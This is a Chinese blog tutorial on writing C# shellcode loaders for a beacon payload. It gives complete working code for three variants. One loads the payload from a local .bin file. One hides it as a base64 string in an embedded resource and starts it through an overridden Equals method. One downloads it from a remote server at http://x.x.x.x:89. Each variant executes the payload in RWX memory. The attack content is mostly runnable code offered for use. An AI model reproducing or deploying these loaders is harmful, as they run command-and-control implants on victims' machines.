c#加载shellcode

embedded/2024/11/19 18:35:28/

本地加载bin文件

SharpPELoader项目如下:

using System;
using System.IO;
using System.Runtime.InteropServices;namespace TestShellCode
{internal class Program{private const uint MEM_COMMIT = 0x1000;private const uint PAGE_EXECUTE_READWRITE = 0x40;private const uint INFINITE = 0xFFFFFFFF;static void Main(string[] args){string shellcodeFilePath = "beacon_x6493.bin";if (!File.Exists(shellcodeFilePath)){Console.WriteLine("Shellcode file not found.");return;}byte[] shellcode = File.ReadAllBytes(shellcodeFilePath);IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (funcAddr == IntPtr.Zero){Console.WriteLine($"VirtualAlloc failed with error code {Marshal.GetLastWin32Error()}.");return;}Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAddr, IntPtr.Zero, 0, out uint threadId);if (hThread == IntPtr.Zero){Console.WriteLine($"CreateThread failed with error code {Marshal.GetLastWin32Error()}.");VirtualFree(funcAddr, 0, MEM_COMMIT);return;}WaitForSingleObject(hThread, INFINITE);CloseHandle(hThread);VirtualFree(funcAddr, 0, MEM_COMMIT);}[DllImport("kernel32.dll", SetLastError = true)]private static extern IntPtr VirtualAlloc(IntPtr lpAddress,uint dwSize,uint flAllocationType,uint flProtect);[DllImport("kernel32.dll", SetLastError = true)]private static extern bool VirtualFree(IntPtr lpAddress,uint dwSize,uint dwFreeType);[DllImport("kernel32.dll", SetLastError = true)]private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,uint dwStackSize,IntPtr lpStartAddress,IntPtr lpParameter,uint dwCreationFlags,out uint lpThreadId);[DllImport("kernel32.dll", SetLastError = true)]private static extern bool CloseHandle(IntPtr hObject);[DllImport("kernel32.dll", SetLastError = true)]private static extern uint WaitForSingleObject(IntPtr hHandle,uint dwMilliseconds);}
}

在这里插入图片描述

使用本地分离加载(资源加载base64形式)

首先需要base64编码后的shellcode文件
使用enc.py进行base64编码
在这里插入图片描述
enc.py如下

import base64
import sysfile = sys.argv[1]
with open(file, "rb") as f:all_data = f.read()# Encode the content using Base64
encoded_data = base64.b64encode(all_data)with open("a.txt", "wb") as f:f.write(encoded_data)

得到a.txt文件改名为config.txt(这里改名不改名都可以,因为后面资源文件名字改掉就好)
SharpPELoader_base64项目如下在这里插入图片描述
可以看到主文件Program.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using System.Resources;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;namespace SharpPELoader_base64
{public class Loader{public override bool Equals(object obj){Thread t = new Thread(test);t.Start();return true;}public void test(){Assembly myAssem = Assembly.GetEntryAssembly();ResourceManager rm = new ResourceManager("SharpPELoader_base64.Resource1", myAssem);// 资源文件中读取shellcode加载string config = rm.GetString("config");byte[] shellcode = Convert.FromBase64String(config);UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);Marshal.Copy(shellcode, 0, (IntPtr)funcAddr, shellcode.Length);IntPtr hThread = IntPtr.Zero;UInt32 threadId = 0;IntPtr pinfo = IntPtr.Zero;hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);WaitForSingleObject(hThread, 0xFFFFFFFF);}private static UInt32 MEM_COMMIT = 0x1000;private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;[DllImport("kernel32")]private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size,UInt32 flAllocationType,UInt32 flProtect);[DllImport("kernel32")]private static extern bool VirtualFree(IntPtr lpAddress,UInt32 dwSize,UInt32 dwFreeType);[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 lpThreadAttributes,UInt32 dwStackSize,UInt32 lpStartAddress,IntPtr param,UInt32 dwCreationFlags,ref UInt32 lpThreadId);[DllImport("kernel32")]private static extern bool CloseHandle(IntPtr handle);[DllImport("kernel32")]private static extern UInt32 WaitForSingleObject(IntPtr hHandle,UInt32 dwMilliseconds);[DllImport("kernel32")]private static extern IntPtr GetModuleHandle(string moduleName);[DllImport("kernel32")]private static extern UInt32 GetProcAddress(IntPtr hModule,string procName);[DllImport("kernel32")]private static extern UInt32 LoadLibrary(string lpFileName);[DllImport("kernel32")]private static extern UInt32 GetLastError();}class Program{static void Main(string[] args){// 创建 Loader 类的实例Loader loader = new Loader();// 启动线程执行 test 方法loader.Equals(null);}}
}

两个方法,命名空间注意和项目一致,一个loader类,一个Main类,Main调用loader类中的test方法
这里项目需要通过添加资源文件,因为是从资源文件中读取的shellcode
添加资源文件方法如下:在这里插入图片描述
新建项在这里插入图片描述
在这里插入图片描述
新建完之后先修改名称为之前代码中的config,也就是和下面这块
在这里插入图片描述
然后添加资源在这里插入图片描述
在这里插入图片描述
添加现有文件config.txt在这里插入图片描述
添加进来即可,这里命名空间都是对的都是项目的命名空间在这里插入图片描述
这里和在这里插入图片描述
是匹配的才可以,所以结合之前的config(资源名字)匹配就可以资源加载了

远端加载

这里在本地加载bin文件基础上修改
使用GetByteArrayAsync;
在这里插入图片描述
全部代码

using System;
using System.IO;
using System.Net.Http;
using System.Runtime.InteropServices;
using System.Threading.Tasks;namespace RemoteShellcodeLoader
{internal class Program{private const uint MEM_COMMIT = 0x1000;private const uint PAGE_EXECUTE_READWRITE = 0x40;private const uint INFINITE = 0xFFFFFFFF;static async Task Main(string[] args){string url = "http://x.x.x.x:89/beacon_x6493.bin";byte[] shellcode = await DownloadShellcodeAsync(url);if (shellcode == null){Console.WriteLine("Failed to download shellcode.");return;}IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (funcAddr == IntPtr.Zero){Console.WriteLine($"VirtualAlloc failed with error code {Marshal.GetLastWin32Error()}.");return;}Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAddr, IntPtr.Zero, 0, out uint threadId);if (hThread == IntPtr.Zero){Console.WriteLine($"CreateThread failed with error code {Marshal.GetLastWin32Error()}.");VirtualFree(funcAddr, 0, MEM_COMMIT);return;}WaitForSingleObject(hThread, INFINITE);CloseHandle(hThread);VirtualFree(funcAddr, 0, MEM_COMMIT);}private static async Task<byte[]> DownloadShellcodeAsync(string url){using (HttpClient client = new HttpClient()){try{return await client.GetByteArrayAsync(url);}catch (Exception ex){Console.WriteLine($"Error downloading shellcode: {ex.Message}");return null;}}}[DllImport("kernel32.dll", SetLastError = true)]private static extern IntPtr VirtualAlloc(IntPtr lpAddress,uint dwSize,uint flAllocationType,uint flProtect);[DllImport("kernel32.dll", SetLastError = true)]private static extern bool VirtualFree(IntPtr lpAddress,uint dwSize,uint dwFreeType);[DllImport("kernel32.dll", SetLastError = true)]private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,uint dwStackSize,IntPtr lpStartAddress,IntPtr lpParameter,uint dwCreationFlags,out uint lpThreadId);[DllImport("kernel32.dll", SetLastError = true)]private static extern bool CloseHandle(IntPtr hObject);[DllImport("kernel32.dll", SetLastError = true)]private static extern uint WaitForSingleObject(IntPtr hHandle,uint dwMilliseconds);}
}

http://www.ppmy.cn/embedded/138835.html

相关文章

Flink新版Source接口源码解析

目录 1. 前言 2. Source解析 2.1 Source类图 2.2 接口和方法说明 2.2.1 Source,> 3. SplitEnumerator解析 3.1 SplitEnumetator类图 3.2 类和方法说明 3.2.1 SplitEnumerator 3.2.2 SimpleVersionedSerializer 4. SourceReader解析 4.1 SourceReader类图 4.2 类…

Ekman理论回归

Scientific reportsEkman revisited: Surface currents to the left of the winds in the Northern HemisphereVagn Walfrid Ekman1905年的理论描述了地球旋转受到风的作用&#xff0c;摩擦边界层中的流场&#xff0c;北半球总是在海表风的右侧&#xff0c;南半球总是在海表风的…

Linux之进程(3)

Linux2.6内核进程调度队列 操作系统有分时操作系统&#xff0c;实时操作系统&#xff0c;实时操作系统主要应用于一些制造业工业等&#xff0c;需要快速响应&#xff0c;但是在互联网领域不会用实时操作系统 队列共有140个空间大小&#xff0c;但是我们不用考虑前面100个实时的…

HTTP 请求方式

深入理解 HTTP 请求方式 在 Web 开发中&#xff0c;HTTP 请求方式起着至关重要的作用。它们决定了客户端如何与服务器进行交互以及服务器如何响应这些请求。本文将深入探讨不同的 HTTP 请求方式及其应用场景。 一、GET 请求 GET 请求是最常见的 HTTP 请求方式之一。它用于从服…

单元测试时报错找不到@SpringBootConfiguration

找到问题出现原因&#xff1a; 错误表示 Spring Boot 在运行测试时无法找到 SpringBootConfiguration 注解。 通常&#xff0c;SpringBootTest注解用于加载 Spring Boot 应用上下文&#xff0c;但它需要找到一个带有SpringBootConfiguration&#xff08;或者Configuration&am…

RFC 2018 即《TCP Selective Acknowledgement Options》

RFC 2018 即《TCP Selective Acknowledgement Options》

微信小程序=》基础=》常见问题=》性能总结

文章目录 微信小程序开发应用 实例小程序生命周期 以及 各生命周期应用实例小程序图片 展示方案 小程序打包应用方案技术细节&#xff08;分包应用实例&#xff09;技术细节&#xff08;压缩处理&#xff09;一、准备工作二、JavaScript 代码压缩三、WXML 文件优化&#xff08…

HP G10服务器ESXI6.7告警提示ramdisk tmp已满

物理服务器是HP G10 VCENTER内两台服务器报错提示ramdisk"tmp"已满&#xff0c;无法写入文件 登录ESXI命令行后发现两台主机的/tmp目录都没有空间了 定位到是ams-bbUsg.txt文件占用了大量的空间 1、关闭集群的DRS功能 2、迁移当前主机上面运行的所有虚拟机至其他主…